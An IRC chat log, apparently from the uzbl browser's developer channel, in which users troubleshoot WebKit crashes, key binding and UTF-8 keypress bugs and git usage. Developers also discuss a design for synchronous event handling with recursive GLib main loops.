23:15 < rob|> *literal
23:15 < slyson> ok thanks
23:15 < rob|> sure thing
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00:26 < aidenn> hello. is "illegal instruction" crash after loading some pages common? (most notably, google)
00:31 < holizz> aidenn, It shouldn't be. Are you on 64-bit?
00:31 < aidenn> no, 32.
00:32 < aidenn> it loads the page fine, but within 1-2 secs after loading it crashes. other pages, like wikipedia and gmail work fine.
00:32 < holizz> Ah, lots of people get unexplained crashes on 64. Have you run it with --verbose?
00:32 < aidenn> yes, it says nothing.
00:32 < aidenn> Navigation requested -> http://www.google.pl/
00:32 < aidenn> Illegal instruction
00:32 < aidenn> aidenn@island:~$
00:33 < aidenn> i think it's the charset
00:33 < aidenn> because the crashing pages have been mostly non-english
00:37 < aidenn> nah. twitter crashed too.
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01:01 < holizz> aidenn, What version are you using? A backtrace might be helpful too. Go submit a bug report, if there isn't one already.
01:01 < holizz> But now I'm going to bed. Good night!
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01:01 < aidenn> good night :)
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01:17 < aidenn> ok, narrowed it down
01:17 < aidenn> it's a webkit bug
01:17 < aidenn> surf crashes with the same pages
01:18 < aidenn> so no bug report today, at least not on uzbl ;)
01:21 < aidenn> there's one already - js handling enforces xorpd, which my processor doesn't support.
01:22 < scj> x86_64 and gcc4.4?
01:22 < aidenn> nah, x86 and 4.3
01:22 < scj> just checking
01:38 < aidenn> downgrade to 1.1.12 solved the problem
01:39 < aidenn> by the way, i just benchmarked startup time for surf and uzbl
01:39 < aidenn> and contrary to common sense, uzbl i 3s faster
01:39 < aidenn> nice
01:40 < aidenn> nah, they're the same. only the first run is slower. damn ;)
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08:18 < rob|> morning.
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08:32 < jave> hello
08:33 < scj> sup
08:34 < jave> I would like to make a "kiosk" style browser, which would send regexp matched urls to mplayer. any hints?
08:34 < jave> its for a system similar to mythtv, only browser driven
08:55 < ruskie> so... make a finish_handler
08:55 < ruskie> that does the magic of regexp you want ;)
08:55 < ruskie> or whatever that got changed to in the event manager now
08:57 < jave> ok
08:57 < jave> I'm new to uzbl, seems very nice
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09:00 < rob|> @on_event LOAD_FINISH do_some_stuff  <-- nice new syntax
09:01 < jave> in this case I would like to intercept the url and let mplayer stream the contents rather than uzbl downloading it
09:03 < scj> I think newer versions  webkitgtk has some preemptive signals meant for ad blocking that could be used
09:03 < rob|> we doen't make use of that yet cause 1.1.14 didn't hit the repos of most distributions..
09:04 < rob|> also when sync events will eventually work you'll be able to intercept any events
09:04 < jave> ok cool
09:06 < jave> since I "own" both server and client in this case, I can make workarounds for the moment
09:06 < jave> I could make a protocoll interceptor right?
09:07 < rob|> like a proxy? yeah, sure
09:12 < rob|> anyways, if you get a download request for your uris (i.e. uzbl does not display them itself) you can easily build your app with what we have now
09:15 < jave> rob|: splendid news
09:16 < rob|> jave: so, in experimental for each download there will a message like this generated: EVENT [uzbl_istance_name] DOWNLOAD_REQUEST uri_of_download
09:17 < rob|> now you can either use the default event manager to intercept that message with "@on_event DOWNLOAD_REQUEST yourscript" or just listen yourself ob uzbl's stdout or socket and parse these messages
09:18 < rob|> in master you'd add your script to the download_handler: set download_handler = spawn yourscript
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13:41 < mason-l> Hey rob|, hey Dieterbe.
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17:10 < rob|> hey guys.
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17:42 < rob|> mason-l: any news on the EM article?
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18:09 < mason-l> rob|, Yeah I've cleaned it up a little
18:10 < mason-l> I'll send it back to you tonight.
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18:28 < rob|> ok, nice
18:29 < rob|> Dieterbe: would be nice if you'd put a the preamble and a link to the article onto the site then
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18:35 < Dieterbe> rob|: of course
18:35 < Dieterbe> where do you want to maintain it ? in git, under 'docs' ?
18:38 < Dieterbe> and if you tell me where it is, i'll do a proofread :)
18:48 < rob|> i don't think we need to version control it as it's intended as an appetizer (so putting it somewhere on the server should be enough)
18:48 < rob|> also mason cleaned it up and when he's ready you can proof read it of course
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19:04 < Dieterbe> putting something in version control is always useful. even if there are only a few changes
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22:10 < slyson> hi. is there a way to undo close tab on uzbl_tabbed? I've seen the undo.sh script for undoing closed windows.
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23:02 < sman> hey, I love uzbl's webjumps - got a load configured with surfraw, but can anyone figure out the webjump for this search form? http://listen.grooveshark.com/
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23:07 < scj> sorry. it's flash
23:08 < sman> it has a webjump somewhere errgh
23:08 < sman> I made one before
23:10 < scj> there's a ff extension for it. you could have a look in the source I guess
23:11 < sman> woo :D
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23:14 < scj> sman: it's http://www.grooveshark.com/index.php?searchQuery=%s
23:15 < sman> scj: a thousand origami cranes
23:15 < sman> thanks!
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23:47 < ulughbegh> hi
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04:26 < Tel_Janin> Where can I find a good example config file? Things have changed, rendering my old one useless and the wiki has no usable ones
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04:32 < mason-l> Tel_Janin, You mean in the experimental branch?
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04:38 < Tel_Janin> Well, now I've found the sample config that comes with it, I was working with absolutely nothing before
04:39 < Tel_Janin> I had not set XDG_CONFIG_HOME to point to some random arbitrary loaction, how silly of me
04:42 < mason-l> Yeah I was about to mention take a look at the sample config
04:43 < mason-l> And $XDG_CONFIG_HOME should be $HOME/.config/
04:43 < mason-l> And you keep your config in $XDG_CONFIG_HOME/.config/uzbl/config
04:45 < Tel_Janin> just copied the samples to the proper locations
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04:56 < L29Ah> looks like the experimental branch fails on gmail with error 500 again
05:01 < mason-l> L29Ah, Yeah nothings changed cookie wise yet.
05:02 < L29Ah> er?
05:02 < L29Ah> i have gmail working a week ago
05:02 < L29Ah> *had
05:12 < mason-l> Sometimes it works sometimes it doesnt. I find gmail works after clearing my cookie jar (but only for a little while)
05:20 < L29Ah> i've removed the cookies and it works, thanks
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08:00 < rob|> morning.
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08:57 < Dieterbe> hideliho
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09:19 < dylanfish> hi
09:20 < dylanfish> hi
09:20 < dylanfish> HI
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09:22 < Dieterbe> o_O
09:24 < rob|> hmm
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10:36 < axionix> hey guys. if i use always_insert_mode, how can i bind a key to switch to command mode?
10:38 < Dieterbe> what part of 'always' is it that you don't understand?
10:39 < axionix> thought so. im trying to get uzbl working on a friends pc who is not proficientg with a keyboard...new pc user
10:39 < Dieterbe> uzbl will be quite challenging for him then ;)
10:40 < axionix> nah he can use it fine. i cant :)
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12:06 < neenaoffline> the website is down?
12:07 < scj> appears so
12:08 < axionix> yep ive been hammering it too
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12:35 < rob|> http://downforeveryoneorjustme.com/uzbl.org
12:35 < rob|> so, yep :(
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15:44 < rob|> man, io watches seem to suck big times when used in recursive main loops :(
15:44 < rob|> this pretty much draws sync event handling impossible in our case :(
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15:47 < Dieterbe> ouch
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15:59 < pat^> hi. is it possible to map the ctrl key in uzbl? because something like bind ctrl+d = scroll_vert 60 doesn't work for me. it just shows some garbage characters in my statusbar.
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16:02 < bct> pat^, use a literal ctrl+d in your config file
16:03 < bct> in vim you can type ctrl-v ctrl-d to get one
16:03 < bct> i'm sure other editors can do something similar.
16:04 < pat^> ahhh k :)
16:04 < pat^> now i get it :)
16:05 < pat^> yep, that works. thank you for the hint!!
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18:27 < mason-l> <rob|> this pretty much draws sync event handling impossible in our case :(
18:27 < rob|> well guys, i guess i finally found a solution for sync events :)
18:27 < mason-l> Hey rob|
18:27 < rob|> hey
18:27 < mason-l> Crazy timing
18:27 < rob|> heh, yeah indeed
18:28 < mason-l> rob|, Spill the beans
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18:29 < rob|> so, the annoying part was that io watches cannot be triggered in a recursive main loop, but the documentation does not mention this anywhere
18:29 < rob|> the solution is to simply define the same watches again before entering the recursive loop
18:29 < rob|> crazy glib!
18:30 < mason-l> And this doesn't create multiple watches watching the same file?
18:31 < mason-l> s/file/fd/
18:31 < rob|> no, all watches will be implicitly unrefed when the second instance of the main loop terminates
18:31 < rob|> which is the case when we received a event response
18:31 < mason-l> How often does this happen?
18:31 < rob|> ^^
18:32 < rob|> this happens in every callback that needs sync responses
18:32 < rob|> i just tested with load_start for now
18:32 < mason-l> Is this using threads as well?
18:33 < rob|> nope, no threads needed for this
18:35 < mason-l> Whats it like performance wise?
18:36 < rob|> not sure, this will need more testing
18:36 < rob|> first i need to code it up in a more readable fashion
18:36 < mason-l> And this 'recursive main-loops' was added to make non-threading sync events possible?
18:36 < rob|> exactly
18:38 < rob|> it's like starting a new main loop with the default context for as long as we need to wait for an event response (or the timeout kicks in)
18:38 < rob|> this also keeps the gui fully usable and the response doesn't have to be the first thing sent to uzbl
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18:41 < rob|> on another note http://imgur.com/RzRcw.jpg ;)
18:41 < mason-l> Saw that :)
18:41 < mason-l> Saw the reddit thread on it.
18:42 < rob|> hehe, just saw that on another channel :)
18:43 < mason-l> http://www.reddit.com/r/programming/comments/9oj39/javascript_in_a_single_picture_seen_on_a/
18:45 < mason-l> (Ignore all the deleted comments in the thread, reddit was the victim of a javascript comment-bomb yesterday shortly after the submission made the frontpage :P)
18:54 < rob|> anyways, i will go with an 'event_response' variable for now that takes a couple of valid values, like "CANCEL" and one or more possible values to indicate state
18:58 < Dieterbe> evening ladies
18:58 < Dieterbe> lol mason-l 
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19:02 < Dieterbe> great to hear that rob| 
19:05 < rob|> yeah, i'm quite happy, too as i've been searching for days for a simple working solution
19:06 < rob|> so expect something in my tree in the next days
19:07 < mason-l> Aww yeah, native add-blocking :)
19:07 < mason-l> 'ad
19:07 < Dieterbe> mason-l: are you done with that article? then i can do a proofread as well
19:07 < Dieterbe> hm? adblocking?
19:08 < mason-l> Dieterbe, Oh yeah (I dozed off last night and didn't finish it).
19:08 < Dieterbe> new webkit feature or something?
19:09 < mason-l> Well there must be a way to echo every request being made...? Just raise them as sync events and reply "YAY" or "NAY".
19:09 < Dieterbe> ah. now i get it
19:09 < Dieterbe> anyway
19:10 < Dieterbe> this song rocks http://www.youtube.com/watch?v=vG-UehlJi7o
19:10 < rob|> another thing, should we use sync events by default or make them an option? the former would require to add a "@on_event FOO set event_response = cancel" to the config for every FOO that supports sync responses
19:12 < mason-l> rob|, EVENT != Sync Event.
19:12 < mason-l> We need a keyword for 'events that require responses'
19:12 < rob|> hmm
19:12 < mason-l> I.e. QUERY <EVENT_NAME> <args>
19:12 < mason-l> Instead of EVENT <EVENT_NAME> <args>
19:12 < Dieterbe> why not "async unless sync is really needed" ?
19:13 < Dieterbe> i mean, making things sync without need makes things slower, no?
19:14 < rob|> well, sort of
19:15 < rob|> especially if you do not explicitly cancel the sync loop but wait for the timeout.
19:15 < mason-l> Exactly why sync events are different to normal events.
19:15 < rob|> if you do cancel then the speed penalty will be as high as it takes to sent back the answer
19:16 < mason-l> The EM needs to know if a sync event has a handler else immediately respond "SKIP" or something.
19:16 < mason-l> And all sync events should have only one handler.
19:16 < MichaelRaskin> mason-l, upgrade path?
19:17 < mason-l> MichaelRaskin, What?
19:17 < MichaelRaskin> Once uzbl-core learns new event, you need to update EM immediately
19:17 < mason-l> MichaelRaskin, If I understand your question correctly: No.
19:17 < mason-l> Any new events can be handled easily by a custom plugin.
19:18 < mason-l> Easily-made plugin.
19:18 < rob|> mason-l: hmm, what are the drawbacks of simply using the on_event thing i wrote above by default?
19:18 < MichaelRaskin> Well, are all events sync-by-default?
19:18 < mason-l> Until an (I guess) 'official' plugin uses that new event.
19:18 < MichaelRaskin> mason-l, or I simply misunderstood you and you meant that most events are async?
19:18 < MichaelRaskin> QUERY vs EVENT may help EM better handle unknown events
19:19 < mason-l> rob|, Many becuase on_event is purely for EVENT's and doesn't care if an event doesn't have a callback.
19:19  * MichaelRaskin plans not to use official EM, so ease of maintenance of a simple EM matters for him
19:19 < rob|> mason-l: but that doesn't matter
19:19 < mason-l> rob|, Yes it does if the sync QUERY is blocking.
19:20 < rob|> MichaelRaskin: so you want to write your own key binding handler?
19:20 < mason-l> There will be no command sent back to cancel the block.
19:20 < MichaelRaskin> rob|, yes
19:20 < rob|> MichaelRaskin: ok, i see
19:20 < mason-l> MichaelRaskin, The EM is pretty minimal as it is.
19:20 < MichaelRaskin> I've learnt udev lesson well.
19:20 < mason-l> But its also missing a few things.
19:21 < rob|> mason-l: sure, the default config will simply include a "on_event FOO set event_response = SKIP" for every sync event, problem solved...
19:21 < mason-l> rob|, Nooooo.
19:21 < rob|> if you want to handle sync events you would just remove that line..
19:22 < MichaelRaskin> Writing a custom tailored EM and configure it via code edits will be easier than handling every little secret of default EM..
19:22 < mason-l> Sync events really need to raise their own class of event (something simple like "QUERY" (think of a better name?))
19:23 < MichaelRaskin> QUERY hints that the value is wanted, so the name seems nice.
19:23 < rob|> right, so i guess you convinced me.
19:24 < mason-l> rob|, I always thought the "QUERY QUERY_NAME <args>" & "RESPONSE <response args>" would have made a nice pair.
19:24 < mason-l> (Where "RESPONSE.." is sent by the handler handling the query)
19:25 < mason-l> rob|, Second question: can more than one sync event be raised at once?
19:25 < rob|> sure, but that would require one more parser. with the variable approach we can simply re-use the existing parser and its ability to use callback functions for variables
19:25 < rob|> which keeps things internally pretty straightforward
19:25 < mason-l> rob|, You yourself said you hated adding in special cases for variables.
19:25 < rob|> hehe, you got me ;)
19:26 < rob|> but that's not really more special than 'set uri = foo'
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19:27 < mason-l> rob|, The idea is that we don't add more of them :)
19:28 < mason-l> rob|, And don't worry, its easy to write a "@on_query LOAD_COMMIT <respond with something>"
19:29 < rob|> ok, on the other hand we want to keep uzbl SLOC-wise as small as possible, so re-using existing code for this seems reasonable
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19:30 < mason-l> rob|, And we can save a lot of code by removing all the handler code we just made redundant.
19:30 < rob|> with that extra parser we would need some global flags to keep track of the state and whatnot, using variables we get this all for free
19:32 < mason-l> I don't know how you've done it but surely something knows it needs a response somewhere?
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19:40 < rob|> well, easy: every callback that needs a sync response calls 'wait_for_response()' triggering the recursive main loop, when you set the "event_response" var it will just quit that loop and the callback continues in its code flow
19:41 < rob|> so there is no need for any extra bits to track state
19:42 < mason-l> Well just make "if word[0] == "response": return ''.join(word[1:])"
19:42 < mason-l> (That being the python version)
19:42 < rob|> no, it's not that easy
19:43 < mason-l> I would have gone with the dual-thread system.
19:43 < rob|> we do have quite a couple of functions and callbacks talking to each other
19:44 < rob|> 2 threads would require rewriting almost everything
19:44 < rob|> so that's not an option, well at least i don't want to do it ;)
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23:06 < nr0mx> I'm seeing bug FS#85 - Can't resize window in the PPA version of uzbl on Ubuntu. How can I resolve this?
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03:25 < jave> GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'
03:25 < jave> I get that from a recent checkout
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09:32 < mason-l> Wow http://d.hatena.ne.jp/ku-ma-me/20090916/p1
09:32 < mason-l> "The Ruby code generates Python code, which generates Perl code, which generates Lua code, which generates OCaml code, which generates Haskell code, which generates C code, which generates Java code, which generates Brainfuck code, which generates Whitespace code, which generates Unlambda code, which generates the original Ruby code again."
09:34 < Dieterbe> omg
09:35 < Dieterbe> some people have too much time
09:38 < jave> lol
09:38 < jave> btw I get a GThread-ERROR on sgtartup with the current git code
09:39 < mason-l> jave, Which branch
09:40 < jave> master
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09:46 < ruskie> http://www.haxney.org/2009/08/its-alive.html <-- hmm ezbl ;)
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09:47 < jave> nice, I'm working on that too :)
09:48 < ruskie> https://addons.mozilla.org/en-US/firefox/addon/13537 <-- ffuzbl ;)
09:48 < Dieterbe> ruskie: i guess you don't read our news?
09:48 < ruskie> probably not
09:48 < ruskie> it was just links someone else pasted ;)
09:49 < ruskie> still fun
09:49 < Dieterbe> all of those are on the frontpage
09:49 < mason-l> And the wiki
09:49 < ruskie> though would be nicer if one could just have uzbl and pick the engine one wants to use ;)
09:49 < ruskie> would be a single config ;)
09:49 < Dieterbe> what do you mean?
09:50 < jave> I'm lame with git. how do I get the experimental branch?
09:50 < ruskie> simple: have a common frontend to all engines... and just pick the engine one wants
09:50 < ruskie> kazehakase has something similar... you can pick gecko or webkit to render
09:50 < ruskie> can also hook into the ie engine iirc
09:50 < jave> did: git checkout origin/experimental  ;git branch experimental;git pull <- failed
09:51 < ruskie> jave, git checkout -b experimental origin/experimental
09:51 < ruskie> try that ;)
09:51 < Dieterbe> ruskie: in the case of uzbl, the code to interface with the engine is like 90% of all code
09:52 < jave> fyi: GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'
09:52 < jave> also on experimental branch
09:52 < jave> I'm probably doing something entirely braindead
09:53 < jave> uzbl doesnt use autoconf?
09:54 < ruskie> lol
09:55 < rob|> morning.
09:55 < rob|> jave: we had some reports regarding this problem but couldn't track it down yet
09:55 < jave> rob|: ok
09:55 < jave> I can run gdb
09:56 < rob|> jave: as we don't make use of threads and thus mutex based locking it must be a webkit thing
09:56 < jave> ok
09:56 < mason-l> morning rob
09:58 < jave> seems to happen deep down
09:58 < jave> hunch: #15 0x076dd4a4 in Accessibility_Registry_registerApplication () from /usr/lib/libspi.so.0
09:59 < rob|> hmm
10:00 < jave> just random hunch
10:00 < Dieterbe> jave: nope. no autoconf
10:00 < jave> so Ive gathered :)
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10:33 < jave> if I remove -DG_ERRORCHECK_MUTEXES  uzbl at least starts and opens www.fsf.org
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10:47 < _maniac_> Hello
10:47 < Dieterbe> oh no, a maniac
10:47 < _maniac_> is there a chance that opera-like spatial navigation can be implemented?
10:47 < Dieterbe> everybody run
10:48 < _maniac_> Dieterbe: your nick looks german, should I mention nazis?)
10:49 < Dieterbe> if you think a german lookname nickname should cause anyone to mention nazis, feel free
10:49 < _maniac_> I dont
10:49 < _maniac_> I think of spatial navigation actually
10:49 < _maniac_> that thing with shift+arrows in opera
10:49 < Dieterbe> what is spatial navigation?
10:50 < Dieterbe> describe how it works
10:50 < _maniac_> it makes you select between links on page with arrows
10:51 < _maniac_> so when I press shift left, it selects link on the left of current
10:51 < Dieterbe> sounds like something you can easily write yourself in JS. hell i think we even already have some scripts like that on the wiki
10:52 < _maniac_> js? because webkit doesnt have C DOM api yet?
10:52 < Dieterbe> correct
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10:56 < _maniac_> I see
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12:52 < mason-l> lysgaard, Is this in the experimental branch?
12:52 < lysgaard> mason-l: Yup, 2-3 days old git
12:53 < mason-l> lysgaard, I wrote the keybinding plugin so I can be of assistance.
12:53 < lysgaard> mason-l: Super
12:54 < mason-l> lysgaard, Go ahead and explain the problem & how I can replicate it on my edn
12:54 < mason-l> 'end
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12:56 < lysgaard> mason-l: Okay, here it goes. I've got a laptop. And it's got a fn key, you know the key. I bought the laptop in America, so it's got an standard american keyboard. _But_ I'm from norway, and our alphabeth has three letters more than the american, therefore I've used xmodmap to bind the fnkey to get one of the special letters. So <fn-o> is ø. This works fine in input mode in uzbl, but after I've inputted an ø the keyhandeling get mangeled up.
12:57 < mason-l> lysgaard, Can you pastebin some output from the EM when you are trying to enter <fn-o> in the keycmd.
12:58 < mason-l> To help me better understand whats causing the problems.
12:58 < lysgaard> mason-l: Each time i try to press an event it reads: <EVENT [number] KEY_[PRESS,RELEASE] KP_BEGIN ...... and a lot of this on the statusbar
12:58 < lysgaard> mason-l: EM?
12:59 < mason-l> lysgaard, How are you launching uzbl in the experimental branch?
12:59 < mason-l> With uzbl-browser?
12:59 < lysgaard> mason-l: Yes
12:59 < lysgaard> mason-l: Is that the correct way btw. Before I used a launch script to get cookies, what happened to that?
13:00 < mason-l> lysgaard, Well a good 3/4th's of the output to the terminal is debugging info from the event manager. Can you pastebin some output when trying to get <fn-o> working in your keycmd
13:00 < mason-l> lysgaard, Yes launching uzbl-browser is the correct way now.
13:00 < lysgaard> mason-l: Okay, I'll do
13:00 < mason-l> (The event manager being: event_manager.py in the scripts folder)
13:01 < lysgaard> mason-l: What does the uzbl-browser do btw. Is it a lunch script, or a renamed uzbl binary?
13:01 < mason-l> lysgaard, type: vim uzbl-browser
13:01 < mason-l> Its a fancy launch script that starts the cookie daemon & event manager
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13:03 < mason-l> I mean: vim `which uzbl-browser`
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13:04 < lysgaard> mason-l: http://hpaste.org/fastcgi/hpaste.fcgi/view?id=9994#a9994
13:04 < lysgaard> mason-l: There's actually a cleartext crash there! =) Quite good
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13:06 < lysgaard> mason-l: Seems like the problem is that the event manager doesn't handle utf-8?
13:06 < mason-l> lysgaard, Actually the other way around I believe.
13:06 < mason-l> The event manager isn't getting that symbol as no KEY_PRESS was received
13:07 < mason-l> uzbl-core died trying to send the symbol.
13:07 < mason-l> rob| might be able to help here.
13:08 < lysgaard> mason-l: Well, if uzbl-core doesn't handle utf-8 it should be on the todolist
13:09 < mason-l> It does
13:09 < lysgaard> mason-l: But if uzbl-core and the event-manager handles it, then it's gotta be the transaction between them that fails?
13:09 < mason-l> However the key press callback probably didn't expect to see a utf-8 key symbol being pressed.
13:09 < mason-l> I think this should be easily fixed.
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13:11 < lysgaard> mason-l: Super! =)
13:12 < lysgaard> mason-l: The funny thing is that i can write the ø character in textfields etc. in uzbl, it's just that after that, all keyevents get mangeled up
13:13 < mason-l> lysgaard, Yes they would because its the action of pressing the ø at all which is causing the problems.
13:13 < mason-l> And thats the perfect example of a mangled event message right here: --> KEY_PRESS (u'EVENT [3091216217] KEY_RELEASE EVENT [3091216217] LINK_HOVER http://www.google.com/ncr',)
13:14 < lysgaard> mason-l: Yeah! That's what i see after I've pressed the ø and then try to press another char ;)
13:15 < thunktone> well do you want to pop in here on the way then?
13:15 < thunktone> i'm pretty much ready to go out
13:15 < thunktone> sorry wrong channel
13:18 < jave> apropos kbd handling, does uzbl have some convenient way to synthesize events via api?
13:19 < jave> I have some trouble with my xembed patch for emacs so when I embed uzbl in emacs events get eaten by emacs, so this would be a workaround
13:19 < mason-l> jave, Start uzbl-core in the experimental branch and see for yourself :)
13:22 < jave> ok, that shows incoming events, but how do I feed uzbl synthesized events?
13:23 < mason-l> jave, How do you mean?
13:23 < mason-l> jave, Give an example
13:23 < jave> like through the stdin interface I would enter a command "KEY_PRESS A" and uzbl would believe I pressed A on the kbd
13:24 < jave> somewhat like XSendEvent()
13:25 < jave> I'm not sure of the general usefulness of this, I'm just considering a workaround for ezbl
13:26 < mason-l> jave, I see, easily done!
13:27 < mason-l> Using the event command
13:27 < mason-l> you can raise any event that uzbl can
13:27 < mason-l> which is all parsed by the event_manager.py
13:27 < jave> cool
13:27 < mason-l> Check out the example config for examples
13:27 < mason-l> and event/request is the same command
13:28 < mason-l> just we have them both do the same thing for purely semantical reasons.
13:29 < lysgaard> mason-l: Do you know who/how to fix the utf-8 keypress problem?
13:29 < mason-l> lysgaard, I don't but rob| will.
13:29 < mason-l> But he is apparently afk at the moment.
13:30 < lysgaard> mason-l: Okay ;) I'll bug him when he's back some time then
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13:58 < rob|> lysgaard: please pull from my repo and try this: uzbl-core -n xyz 1>/dev/null &; sleep 1; socat unix-connect:/tmp/uzbl_socket_xyz -
13:58 < rob|> now hit a couple of your non-us keys and see wether they are reported correctly in the terminal
13:59 < rob|> lysgaard:   git://github.com/robm/uzbl.git <-- my repo
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15:48 < rob|> hmm, recursive main loops seem to cause quite some problems
15:48 < lysgaard> rob|: How did i pull your git?
15:49 < Dieterbe> uh oh, rob| 
15:49 < rob|> lysgaard: you would add me as a remote:  git add remote -f rob git://github.com/robm/uzbl.git
15:50 < rob|> lysgaard: and then: git pull rob experimental
15:50 < rob|> lysgaard: sorry, git add -f remote rob git://github.com/robm/uzbl.git
15:51 < rob|> damn it, got it wrong again
15:51 < rob|> git add -f rob git://github.com/robm/uzbl.git
15:52 < rob|> hehe again
15:52 < rob|> no more beer, i promise
15:52 < rob|> ;)
15:52 < rob|> git remote add -f rob git://github.com/robm/uzbl.git
15:52 < rob|> ^^ this should be ok
15:52 < rob|> sorry
15:53 < lysgaard> rob|: I get a "Not a git repository" error, I've never used git before. What does it mean?
15:54 < rob|> with the last line i posted?
15:54 < lysgaard> rob|: Yeah, I just run that line. I've cded intoo my /tmp/ just to keep things clean
15:55 < rob|> oh, you should be in uzbl's source dir i guess
15:56 < lysgaard> rob|: Well, I use arch, so I use the package manager to install the git branch. I have no uzbl source dir
15:56 < rob|> ah, i see. well, you need to either clone dieter's repo or mine for all this git stuff to work
15:57 < lysgaard> rob|: Okay, how do i clone your repo?
15:58 < lysgaard> rob|: I got it
15:58 < rob|> hmm, github seems to be down
15:59 < rob|> oh, does github work for you?
16:00 < lysgaard> rob|: Hm.. I did git clone "yourrepo"
16:00 < lysgaard> Then ran the command
16:01 < lysgaard> Now i try to "git pull rob experimental" but i get a conflicting merge
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16:03 < rob|> well, that can happen. just clone my repo to avoid that
16:04 < lysgaard> rob|: Okay, then?
16:05 < rob|> then cd into the folder, 'make clean all' and run the command i posted above
16:05 < rob|> from within the src folder: ./uzbl-core -n xyz 1>/dev/null &; sleep 1; socat unix-connect:/tmp/uzbl_socket_xyz -
16:05 < lysgaard> rob|: Ah
16:06 < rob|> now hit a couple of keys and observe the KEY_PRESS events in the terminal
16:06 < rob|> do they display right?
16:08 < lysgaard> rob|: I don't get any key press events in the terminal
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16:09 < lysgaard> rob|: But there's no uzbl-core binary either, just uzbl
16:09 < rob|> oh, you need to switch to the experimetal branch
16:09 < rob|> git checkout experimental
16:09 < rob|> make clean all
16:09 < mason-l> rob|, That wont work.
16:09 < rob|> mason-l: what?
16:10 < mason-l> he needs to git checkout -b experimental origin/experimental
16:10 < lysgaard> I get "Branc experimental alredy exists"
16:11 < rob|> oh, right. git sucks, although i use it every day i can't for god's sake remeber al these commands
16:11 < mason-l> lysgaard, Oh in that case experimental might already exist..
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16:11 < rob|> so git is officialy worse/more cryptic than C ;)
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16:12 < mason-l> rob|, You wont get any arguments from Linus.
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16:12 < lysgaard> Now i got it working
16:12 < MichaelRaskin> If you want an understandable DVCS with good branch support, use monotone
16:13 < mason-l> MichaelRaskin, I have no intention of leaving git
16:13 < lysgaard> rob|: Seems like it's working now, although the ø char doesn't display, it doesn't mangle as before
16:14 < lysgaard> rob|: I think it's working
16:15 < MichaelRaskin> mason-l, it is to those who do not like Git already then
16:17 < rob|> lysgaard: so, does it display or not?
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16:20 < rob|> lysgaard: if your answer is "no" then you might have some locale issues over there
16:20 < rob|> i.e. you locale is not utf-8 aware
16:20 < rob|> *your
16:21 < rob|> i tested with german umlauts which did show up as expected
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16:36 < mason-l> rob|, And cleared correctly?
16:36 < mason-l> MichaelRaskin, I know :)
16:38 < mason-l> MichaelRaskin, Just after watching http://www.youtube.com/watch?v=4XpnKHJAok8 I could never use another *VCS
16:39 < rob|> mason-l: well, i watched that, too. and i do agree with him _but_ good design and a sane user interface are two very different pairs of shoes..
16:40 < mason-l> rob|, I've got a big left foot.
16:40 < mason-l> ;)
16:41 < lysgaard> rob|: I think it's my terminal or locale is the problem
16:41 < lysgaard> So I'd give it a go. The only thing I'd like to try is to enter insert mode, and try to write the ø, but that's a bit hard, since it's not configured
16:42 < MichaelRaskin> I'd say monotone has a sane conceptual design
16:42 < rob|> lysgaard: hmm, can you type that char into your terminal?
16:42 < lysgaard> rob|: How do i set the xdg dir as an argument
16:42 < lysgaard> rob|: Yes
16:43 < rob|> strange, what do you get in the KEY_PRESS event when typing it?
16:44 < MichaelRaskin> Are the slides from the Linus'es talk on Git available? Looking through them will help me decide whether to watch the 1-hour talk
16:45 < mason-l> MichaelRaskin, I find the talk more entertaining :)
16:45 < mason-l> MichaelRaskin, The slides are terrible :D
16:45 < MichaelRaskin> Unforunate
16:46 < mason-l> Entertaining & convincing.
16:46 < MichaelRaskin> I picked up Monotone after trying nearly everything out there
16:46 < mason-l> MichaelRaskin, he pretty much goes to Q&A after 20 minutes
16:46 < MichaelRaskin> Oh, OK
16:46 < MichaelRaskin> Monotone has very nice design features..
16:49 < rob|> funny, most people are talking VCS to death but don't write a single line of actual code that'd be worth using any of them..
16:50 < MichaelRaskin> rob|, worth using is a subjective thing..
16:51 < MichaelRaskin> I have used monotone in situations where the fact that its semantics matches my understanding of natural semantics helped
16:51 < MichaelRaskin> Both with my code and when using others' code..
16:52 < Dieterbe> mason-l: agreed, linus' talk (and bashing of svn) is epic :P
16:53 < mason-l> :D
16:53 < Dieterbe> i liked the talk too
16:54 < mason-l> Hes such a down to earth bastard (oh and he knows his stuff :D).
16:54 < rob|> anyways, i'm pretty stuck with sync events and glib's pseudo async behvaiour. also there documentation sucks big times
16:54 < rob|> *their
16:55 < Dieterbe> mason-l: he does have a very "strong opinion", which could be related to / confused with being _not_ down to earth
16:55 < rob|> i guess i/we need to resort to writing our own GSource that can handle recursive main loops out of the box
16:56 < Dieterbe> something tells me glib guys are going to like rob in the near future
16:58 < rob|> well, i'd really really like to encapsulate our Uzbl structure into a GObject, that would get rid of a couple of issues and would also allow to use a library interface easily
16:59 < rob|> and if designed right we could also use other rendering engines with this approach
17:00 < Dieterbe> oh dear
17:01 < rob|> ?
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17:11 < Dieterbe> i'm not really in favor of the whole 'multiple rendering engines' thing.  it overcomplicates things and it's just not needed imho
17:12 < rob|> well, i don't care that much about rendering engines but i do care about a nice interface and GObject isn#t that bad at all
17:14 < rob|> actually the whole interface thing is what made me contribute to uzbl, the idea was nice and it has such a huge potential to be done right
17:15 < rob|> and with interface i mean the one presented to the user, i'm a big fan of simple and versatile text based interfaces as you might have guessed ;)
17:18 < Dieterbe> yes and i agree with you on that
17:19 < Dieterbe> i just think supporting multiple rendering engines would overcomplicate uzbl too much
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17:21 < rob|> sure, but GObjects are nice and can interact easily with everything suppoting them
17:21 < rob|> so we would get a lot of functionality for free with it
17:23 < rob|> the problem is that i can't work on so many things at a time on my very own, luckily mason did a great job with interfacing to the whole events thing
17:23 < rob|> which clearly shows how fast development can be if the interfaces are easy to understand and handle
17:23 < rob|> and that with only 2 persons contributing
17:23 < Dieterbe> yep
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18:02 < mason-l> Well I'm in for an awesome night. My mum has this OCD to try new medication at midnight full knowing shes hypoallergenic to everything on the planet.
18:03 < mason-l> I've now (probably) got to go to the hospital because shes having an allergic reaction to this new spray on iodine.
18:03 < scj> :/
18:04 < Dieterbe> ouch. good luck mason-l 
18:07 < mason-l> I've told her if we need to go to the hospital then I will take her but she can't make her mind up. Not making her mind up is the wost part because then your night is ruined because you cant start hacking on anything.
18:09 < mason-l> (Because you have to drop everything with a moments notice and spend the next 5 hours in a hospital waiting room).
18:10 < rob|> oh man, good luck mason. hopefully your mom will be fine again soon!
